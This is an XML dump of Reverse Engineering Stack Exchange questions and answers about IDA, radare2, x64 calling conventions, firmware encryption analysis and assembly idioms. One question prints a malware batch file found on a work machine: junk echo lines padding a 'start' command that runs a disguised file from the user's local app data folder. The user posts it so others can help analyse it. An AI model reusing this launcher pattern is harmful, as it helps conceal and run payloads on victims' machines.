  <row Id="17515" PostTypeId="2" ParentId="17511" CreationDate="2018-02-22T14:41:55.937" Score="2" Body="&lt;p&gt;IDA picks up a potential struct member offset from the operand on which your cursor is. If it's &lt;code&gt;[eax]&lt;/code&gt;, the offset is 0, so it shows the member at 0 ( &lt;code&gt;.name&lt;/code&gt;). But if you try for example &lt;code&gt;[eax+34h]&lt;/code&gt;, it will suggest &lt;code&gt;.age&lt;/code&gt; which is at offset 34.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2018-06-26T22:00:03.307" LastActivityDate="2018-06-26T22:00:03.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17517" PostTypeId="1" AcceptedAnswerId="17518" CreationDate="2018-02-22T18:54:32.230" Score="3" ViewCount="364" Body="&lt;p&gt;If I run &lt;code&gt;pd&lt;/code&gt; I get something like this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400540]&amp;gt; pd @ main + 4&#xA;            0x0040064a      4883ec20       sub rsp, 0x20&#xA;            0x0040064e      897dec         mov dword [rbp - 0x14], edi&#xA;            0x00400651      488975e0       mov qword [rbp - 0x20], rsi&#xA;            0x00400655      837dec01       cmp dword [rbp - 0x14], 1   ; [0x1:4]=-1 ; 1&#xA;        ,=&amp;lt; 0x00400659      7f11           jg 0x40066c&#xA;        |   0x0040065b      bf70074000     mov edi, str.Usage_echo__string ; 0x400770 ; &quot;Usage echo &amp;lt;string&amp;gt;&quot;&#xA;        |   0x00400660      e89bfeffff     call sym.imp.puts&#xA;        |   0x00400665      b800000000     mov eax, 0&#xA;       ,==&amp;lt; 0x0040066a      eb64           jmp 0x4006d0&#xA;       |`-&amp;gt; 0x0040066c      488b45e0       mov rax, qword [rbp - 0x20]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Generally speaking the lines that show where the jumps are going on the left are awesome. But for the purpose of copying and pasting not so much. How can I disable them? Or how can I hide those lines? I tried a few different things but no luck.&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-09-05T16:54:24.830" LastActivityDate="2018-09-05T16:54:24.830" Title="Radare using `pd` without the call graph lines?" Tags="|radare2|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="17518" PostTypeId="2" ParentId="17517" CreationDate="2018-02-22T19:19:52.907" Score="5" Body="&lt;p&gt;Those lines can be disables via &lt;code&gt;r2&lt;/code&gt; option namely by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e asm.lines=false&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after that, they no longer appear in &lt;code&gt;pd&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-02-22T19:19:52.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17519" PostTypeId="2" ParentId="17517" CreationDate="2018-02-22T19:31:00.347" Score="4" Body="&lt;p&gt;well pawel beat me but this shows how to strip some more noise&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Windows\system32&amp;gt;radare2  calc.exe&#xA;[0x01012d6c]&amp;gt; af&#xA;[0x01012d6c]&amp;gt; pd 10 @ $$+0x4b&#xA;|       ,=&amp;lt; 0x01012db7      0f8538b00100   jne 0x102ddf5&#xA;|       |   0x01012dbd      33f6           xor esi, esi&#xA;|       |   0x01012dbf      46             inc esi&#xA;|       |      ; JMP XREF from 0x0102ddfe (entry0)&#xA;|       |   0x01012dc0      a194410501     mov eax, dword [0x1054194]  ; [0x1054194:4]=0&#xA;|       |   0x01012dc5      3bc6           cmp eax, esi&#xA;|      ,==&amp;lt; 0x01012dc7      0f8446b00100   je 0x102de13&#xA;|      ||   0x01012dcd      a194410501     mov eax, dword [0x1054194]  ; [0x1054194:4]=0&#xA;|      ||   0x01012dd2      85c0           test eax, eax&#xA;|     ,===&amp;lt; 0x01012dd4      0f85e54e0000   jne 0x1017cbf&#xA;|     |||   0x01012dda      893594410501   mov dword [0x1054194], esi  ; [0x1054194:4]=0&#xA;&#xA;&#xA;[0x01012d6c]&amp;gt; e asm.lines=false &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;[0x01012d6c]&amp;gt; e asm.comments =false &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;[0x01012d6c]&amp;gt; e asm.cmtright =false &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;[0x01012d6c]&amp;gt; e asm.fcnlines =false &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;&#xA;&#xA;[0x01012d6c]&amp;gt; pd 10 @ $$+0x4b&#xA;0x01012db7      0f8538b00100   jne 0x102ddf5&#xA;0x01012dbd      33f6           xor esi, esi&#xA;0x01012dbf      46             inc esi&#xA;0x01012dc0      a194410501     mov eax, dword [0x1054194]&#xA;0x01012dc5      3bc6           cmp eax, esi&#xA;0x01012dc7      0f8446b00100   je 0x102de13&#xA;0x01012dcd      a194410501     mov eax, dword [0x1054194]&#xA;0x01012dd2      85c0           test eax, eax&#xA;0x01012dd4      0f85e54e0000   jne 0x1017cbf&#xA;0x01012dda      893594410501   mov dword [0x1054194], esi&#xA;[0x01012d6c]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to remove the bytes use &lt;strong&gt;e asm.bytes = false&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-02-22T19:37:58.070" LastActivityDate="2018-02-22T19:37:58.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17521" PostTypeId="1" AcceptedAnswerId="17524" CreationDate="2018-02-22T23:15:50.710" Score="0" ViewCount="141" Body="&lt;p&gt;I have been trying to reverse a singleplayer x64 game to learn about reversing games. My problem is that I am trying to trace the arguments from a &lt;code&gt;D3D11CreateDeviceAndSwapchain&lt;/code&gt; call and as far as I know the first 4 arguments should be stored in the registers &lt;code&gt;rcx&lt;/code&gt;, &lt;code&gt;rdx&lt;/code&gt;, &lt;code&gt;r8&lt;/code&gt; and &lt;code&gt;r9&lt;/code&gt; and the rest should be pushed to the stack ontop of the shadow area of the stack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the assembly I am posting below from IDA, it only pushes something far beyond the shadow area and the data does not seem to have anything to do with the call at all. So im wondering if DirectX calls are different somehow? Or am I simply just looking in the wrong place?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:000000000143269B lea     rax, [rsp+218h+arg_0]&#xA;.text:00000000014326A3 lea     rbp, [rdi+0CA8h]&#xA;.text:00000000014326AA xor     r8d, r8d&#xA;.text:00000000014326AD mov     [rsp+218h+var_1C0], rax&#xA;.text:00000000014326B2 mov     [rsp+218h+var_1C8], rbp&#xA;.text:00000000014326B7 lea     rax, [rsp+218h+arg_10]&#xA;.text:00000000014326BF mov     [rsp+218h+var_1D0], rax&#xA;.text:00000000014326C4 lea     rax, [rsp+228h]&#xA;.text:00000000014326CC mov     [rsp+218h+var_1D8], rax&#xA;.text:00000000014326D1 mov     [rsp+218h+var_1E0], rsi&#xA;.text:00000000014326D6 mov     dword ptr [rsp+218h+var_1E8], 7&#xA;.text:00000000014326DE mov     dword ptr [rsp+218h+var_1F0], r15d&#xA;.text:00000000014326E3 mov     [rsp+218h+var_1F8], r15&#xA;.text:00000000014326E8 call    D3D11CreateDeviceAndSwapChain&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23364" LastEditorUserId="18945" LastEditDate="2018-03-26T08:46:03.400" LastActivityDate="2018-03-26T08:46:03.400" Title="Where are the arguments to this D3D11CreateDeviceAndSwapchain call stored in x64?" Tags="|ida|windows|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17522" PostTypeId="1" AcceptedAnswerId="17523" CreationDate="2018-02-23T00:47:13.740" Score="2" ViewCount="6650" Body="&lt;p&gt;The &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/introduction/basic_debugger_session.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Radare book&lt;/a&gt; says &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Use &lt;kbd&gt;F7&lt;/kbd&gt; or s to &lt;em&gt;step into&lt;/em&gt; and &lt;kbd&gt;F8&lt;/kbd&gt; or S to &lt;em&gt;step over&lt;/em&gt; current instruction. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But, I don't see it telling you how to do this with the &lt;code&gt;d&lt;/code&gt; command. When I run &lt;code&gt;d?&lt;/code&gt; I see &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ds[?]                   Step, over, source line&#xA;dc[?]                   Continue execution&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-12-11T23:05:30.880" LastActivityDate="2018-12-11T23:05:30.880" Title="Commands to step into and step over, outside of visual pane mode" Tags="|debugging|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17523" PostTypeId="2" ParentId="17522" CreationDate="2018-02-23T00:47:13.740" Score="3" Body="&lt;p&gt;I did't find this to be too intuitive, but the answer is &lt;code&gt;ds&lt;/code&gt;. Now it makes sense though: &lt;code&gt;ds&lt;/code&gt; expands to a bunch of stuff,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x55673eccb5fa]&amp;gt; ds?&#xA;|Usage: ds Step commands&#xA;| ds               Step one instruction&#xA;| ds &amp;lt;num&amp;gt;         Step &amp;lt;num&amp;gt; instructions&#xA;| dsb              Step back one instruction&#xA;| dsf              Step until end of frame&#xA;| dsi &amp;lt;cond&amp;gt;       Continue until condition matches&#xA;| dsl              Step one source line&#xA;| dsl &amp;lt;num&amp;gt;        Step &amp;lt;num&amp;gt; source lines&#xA;| dso &amp;lt;num&amp;gt;        Step over &amp;lt;num&amp;gt; instructions&#xA;| dsp              Step into program (skip libs)&#xA;| dss &amp;lt;num&amp;gt;        Skip &amp;lt;num&amp;gt; step instructions&#xA;| dsu[?]&amp;lt;address&amp;gt;  Step until address&#xA;| dsui[r] &amp;lt;instr&amp;gt;  Step until an instruction that matches `instr`, use dsuir for regex match&#xA;| dsue &amp;lt;esil&amp;gt;      Step until esil expression matches&#xA;| dsuf &amp;lt;flag&amp;gt;      Step until pc == flag matching name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While &lt;em&gt;really&lt;/em&gt; cool, there are a tons of ways to &lt;code&gt;step&lt;/code&gt; and they're all organized under &lt;code&gt;ds&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;F7&lt;/kbd&gt; is step into, or &lt;code&gt;ds&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;F8&lt;/kbd&gt; is step over, or &lt;code&gt;dso&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-02-23T00:47:13.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17524" PostTypeId="2" ParentId="17521" CreationDate="2018-02-23T03:01:36.393" Score="0" Body="&lt;p&gt;The  API &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ff476083(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;D3D11CreateDeviceAndSwapChain function&lt;/a&gt; in question takes 12 arguments&lt;br&gt;&#xA;From your disassembly find out what var_1c0 etc is defined as  ( i would presume it is -0x1c0 )   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so (218 + (-0x1c0 and so on it would be ) = 58 , 50 , 48 , 40 , 38, 30 ,28 ,20,r9,r8,rdx,rcx) etc etc &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can see pub const D3D11_SDK_VERSION: DWORD = 7 at 1e8 = (218-1e8)/8 = 30 &#xA;which is the 7th argument according to the documentation &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HRESULT D3D11CreateDeviceAndSwapChain(&#xA;  _In_opt_        IDXGIAdapter         *pAdapter,  ==== rcx&#xA;                  D3D_DRIVER_TYPE      DriverType,  ==== rdx&#xA;                  HMODULE              Software,    ==== r8&#xA;                  UINT                 Flags,       ==== r9 &#xA;  _In_opt_  const D3D_FEATURE_LEVEL    *pFeatureLevels, ==== 1f8 == 20&#xA;                  UINT                 FeatureLevels,   ===== 1f0 == 28&#xA;                  UINT                 SDKVersion, &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; == 7 ===1e8 == 30&#xA;  _In_opt_  const DXGI_SWAP_CHAIN_DESC *pSwapChainDesc,&#xA;  _Out_opt_       IDXGISwapChain       **ppSwapChain,&#xA;  _Out_opt_       ID3D11Device         **ppDevice,&#xA;  _Out_opt_       D3D_FEATURE_LEVEL    *pFeatureLevel,&#xA;  _Out_opt_       ID3D11DeviceContext  **ppImmediateContext&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-02-23T03:16:54.920" LastActivityDate="2018-02-23T03:16:54.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17527" PostTypeId="1" CreationDate="2018-02-23T11:47:23.733" Score="1" ViewCount="187" Body="&lt;p&gt;Has anyone tried seeing what's inside of this malware? It ended up on one of our work machines. I copied the files to a thumb drive before setting the machine up for reimaging. Though the AV software kept saying it was removed, it kept coming back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed 3 outbound connections. Two were to Amazon AWS servers and one was to a machine in Panama based on the IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the included .bat files are the same as below. I've checked against different encryption types but haven't had any luck figuring out the commands in the file. All of the executable have a 3 character extension. Looked at them in a hex editor and am unable to pull any useful data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is more out of curiosity than anything. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    echo KWvBTeEhoOBvYGBOV0L9i07izYZQZ6eUNvN&#xA;echo UHCxEg2gVic&#xA;echo FgXcH8LAyBRqqlUil8L&#xA;echo EqXkXZQa0&#xA;echo 3BPrg&#xA;echo ptGFX9BkqRJM50l0ZhOy4FHpc2TYBtayl70&#xA;echo FfStAj3XYV5w9u&#xA;start &quot;Lnvqgn8kWPwvFipqD8tLpq&quot; &quot;%LOCALAPPDATA%\Gm Ugc\iqgux rez.dcah&quot;&#xA;echo f199qjLWdJ6URiTJLa3AC0&#xA;echo bF6MorMQoqttAWAMHa&#xA;echo Kpme1Fkmm&#xA;echo kLShOlr2t&#xA;echo sTNvUyM5FjoN89YzL3CFCdi5d6bknL&#xA;echo K6n2kL9BxaAY9NlDD8tFg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23391" LastActivityDate="2018-05-27T20:55:14.137" Title="Rootkit.Fileless.MTGen Reverse Engineering" Tags="|malware|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17528" PostTypeId="2" ParentId="6384" CreationDate="2018-02-23T15:03:10.947" Score="2" Body="&lt;p&gt;I happen to just run into this exact issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I did. Replace the &lt;code&gt;for&lt;/code&gt; bits with the &lt;code&gt;if&lt;/code&gt; bits to just test it on a small bit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from idautils import *&#xA;from idaapi import *&#xA;from idc import *&#xA;&#xA;#if True:&#xA;#    if True:&#xA;#        if True:&#xA;#            startea = 0x0F9109DC&#xA;#            endea = 0x0F9109F&#xA;for segea in Segments():&#xA;    for funcea in Functions(segea, SegEnd(segea)):&#xA;        functionName = GetFunctionName(funcea)&#xA;        for (startea, endea) in Chunks(funcea):&#xA;            for ea in Heads(startea, endea):&#xA;                if idc.GetMnem(ea) != &quot;MOV&quot; or idc.get_operand_type(ea, 1) != 5 or  idc.get_str_type(idc.get_operand_value(ea, 1)) != 0:&#xA;                    continue&#xA;                print &quot;0x%08x&quot;%(ea), &quot;:&quot;, idc.GetOpnd(ea, 1), idc.get_operand_type(ea, 1)&#xA;                idc.op_plain_offset(ea,1,0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;```&lt;/p&gt;&#xA;" OwnerUserId="23395" LastActivityDate="2018-02-23T15:03:10.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17529" PostTypeId="1" AcceptedAnswerId="17531" CreationDate="2018-02-24T02:03:55.553" Score="3" ViewCount="184" Body="&lt;p&gt;I am working through the educational &quot;bomb.exe&quot; file where you must defuse the bomb by entering the correct inputs.  This can only be accomplished by reversing the executable file.  There are no hints when the file is run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came across these two random jump instructions which appear to be inserted out of the flow of the program.  What is the reason for their existence?  Is this a byproduct of an unoptimized compilation?  If they're there on purpose then which instruction points to these?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LlIS9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LlIS9.png&quot; alt=&quot;Mysterious entry points&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QRTOk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QRTOk.png&quot; alt=&quot;Entire Function + To/From locations&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the &quot;flat&quot; view it appears that they are not called from anywhere.  Could these jumps be sites of malicious code injections if someone had bad intentions?  It seems that if they are connected to a proper flow the injected code would go unnoticed at first glance.  If I should open another thread for this question I can do that too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CAidQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CAidQ.png&quot; alt=&quot;Flat View&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13934" LastEditorUserId="13934" LastEditDate="2018-02-24T16:58:47.090" LastActivityDate="2018-02-24T18:57:17.573" Title="Instruction without &quot;apparent&quot; previous instruction" Tags="|ida|x86|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="17530" PostTypeId="1" AcceptedAnswerId="17532" CreationDate="2018-02-24T12:00:42.523" Score="2" ViewCount="1594" Body="&lt;p&gt;I'd like to ask your help to understand the algorithm used to encrypt these hex/bin &lt;a href=&quot;http://www55.zippyshare.com/v/1LSE7q9C/file.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;firmware&lt;/a&gt; (for an ARM-Cortex M4 microcontroller).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the tar file above you can find different firmware versions. &#xA;In particular, the V16 version has been released encrypted, plain and also an encrypted TE version (I don't know what does TE mean).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has been a while since I started to analyze these files (I also asked another question here in the past) but, so far, I didn't find the solution.&#xA;I tried to invert the bytes, swap the nibbles, xor but no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the encrypted version is 276 bytes longer than the plain. I expect that in those bytes are defined the header/footer and the key sections used by the bootloader to decrypt the binary before flashing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I think that a simple algorithm has been used (something like Salsa20 or ChaCha), nothing complicated (SHA, etc.).&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="23209" LastActivityDate="2018-02-25T09:09:42.063" Title="Binary encryption" Tags="|arm|encryption|binary|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17531" PostTypeId="2" ParentId="17529" CreationDate="2018-02-24T18:57:17.573" Score="0" Body="&lt;p&gt;The flat view makes it obvious: the &quot;hanging&quot; jumps are part of the function but IDA detected that they are not reachable because the function calls preceding them (&lt;code&gt;exit&lt;/code&gt; and &lt;code&gt;bombExplodes&lt;/code&gt;) do not return. If you really want to see the jumps in a &quot;proper&quot; graph, you can clear no-returning flag from those functions, but it will be somewhat artificial since those instructions are not reachable in normal execution flow.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-02-24T18:57:17.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17532" PostTypeId="2" ParentId="17530" CreationDate="2018-02-24T21:38:17.540" Score="2" Body="&lt;p&gt;In fact, I doubt that they use Salsa20 on this firmware file... Let me just first explain what is my method to investigate such cases. For the rest, I will mainly use the &lt;code&gt;binwalk&lt;/code&gt; tool.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What I do first is to evaluate the global entropy of the file. This is a very quick way to evaluate if we are looking at encryption or not. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk -E firmware.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the example, I encrypted a file with Salsa20 (filled only with &lt;code&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZ&lt;/code&gt; strings). I got the following result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lNjAL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lNjAL.png&quot; alt=&quot;Entropy of a Salsa20 cipher&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the obtained entropy is close to 1, which is exactly what is desired when we use any encryption algorithm.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The second step in my process is to try to get two successive versions of the firmware and analyze the differences. It is amazing what you can learn from looking at the differences between two files. So, for the example I encrypted the string &lt;code&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZ&lt;/code&gt; repeated several times in the first file and the same in the second file execpt for the first string where I replaced the &lt;code&gt;N&lt;/code&gt; of the first string by a &lt;code&gt;Z&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk -W firmware-1.bin firmware-2.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zqhxG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zqhxG.png&quot; alt=&quot;Differences between the two files encrypted with Salsa20&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you may noticed, Salsa20 is a stream cipher, so I modified one byte and, then, only one byte is modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, the differences between two versions of the firmware will give you information about the block size of the encryption algorithm and its mode (such as ECB, CBC or others). Once you have this, you may discard some algorithms or target the most probable ones.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once you gathered all these information, there are no real rule of thumb. Be creative and try to deduce the more you can with what you have and make some good and intuitive assumptions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, lets go back to you firmware. I took &lt;code&gt;ZPK0J020_V16_20161206_AP-D7D1.hex&lt;/code&gt;  and &lt;code&gt;ZPK0J020_V17_20170310_AP-1E6A.hex&lt;/code&gt;. And, I applied the method I described previously. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the difference between the two versions of the firmware is not against the assumption of Salsa20, but the entropy is way too low to be a strong encryption as Salsa20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/npDJF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/npDJF.png&quot; alt=&quot;Entropy of the firmware V16&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My conclusion is that the encryption of these firmware files is probably something weak. I would go for a xor-encryption or something similar. But, I did not investigate further as I think I disqualified Salsa20 and answered to your question. It is up to you to dig a bit now!&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2018-02-24T21:38:17.540" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17534" PostTypeId="1" CreationDate="2018-02-25T10:06:14.943" Score="1" ViewCount="136" Body="&lt;p&gt;I'm trying to remember a couple of tools that I used several years ago that allowed you to create structs and map certain regions of memory to those structures so you could view the correct data types that you had defined for the structure. You could also go through and set sections of the memory to datatypes as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone remembers what those are or know of anything new that matches that description that would be awesome. Thanks! PS this was for Windows at the time.&lt;/p&gt;&#xA;" OwnerUserId="23404" LastActivityDate="2018-02-25T10:06:14.943" Title="Process Memory Viewing Tool" Tags="|memory|process|struct|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17540" PostTypeId="1" CreationDate="2018-02-26T00:38:50.933" Score="4" ViewCount="371" Body="&lt;p&gt;Assembly seems to have lots of tricks.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/1396527/what-is-the-purpose-of-xoring-a-register-with-itself&quot;&gt;Set a register to zero&lt;/a&gt; (&lt;code&gt;xor reg, reg&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/22351413/124486&quot;&gt;Extend the stack by only four bytes&lt;/a&gt; (&lt;code&gt;push/pop ecx&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/4611/22669&quot;&gt;Setting a regiseter to -1&lt;/a&gt; (&lt;code&gt;OR reg -1&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Mulitiplying by powers of two with bit shifting, or &lt;a href=&quot;https://stackoverflow.com/a/1660429/124486&quot;&gt;n**2+1 with LEA&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there a list/book/resource anywhere of these kinds of Assembly idiosyncrasies?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-02-27T20:30:55.570" LastActivityDate="2018-03-01T17:24:15.560" Title="Tutorial or resource for understanding obscure Assembly idioms?" Tags="|assembly|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17541" PostTypeId="2" ParentId="17540" CreationDate="2018-02-26T08:29:51.760" Score="4" Body="&lt;p&gt;There is no manual for what you call 'tricks' (personally, I prefer the term '&lt;em&gt;idioms&lt;/em&gt;'). Most of the idioms you are citing are used by compilers to perform a precise task in a more efficient manner than what you can see in the manuals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to learn about it is to read compiler generated assembly code and/or shellcodes. They are a great source of assembly idioms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a list of good readings or links to investigate all these idioms:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/1502958082&quot; rel=&quot;nofollow noreferrer&quot;&gt;xchg rax,rax&lt;/a&gt; by xorpd;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.hackersdelight.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hacker's Delight (2nd Edition)&lt;/a&gt; by Henry S. Warren;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://nostarch.com/hacking2.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hacking: The Art of Exploitation (2nd Edition)&lt;/a&gt; by Jon Erickson;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://nostarch.com/assembly2.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Art of Assembly Language (2nd Edition)&lt;/a&gt; by Randall Hyde;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://shell-storm.org/shellcode/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Shellcodes database for study cases&lt;/a&gt; by Shell-storm;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2018-03-01T17:24:15.560" LastActivityDate="2018-03-01T17:24:15.560" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
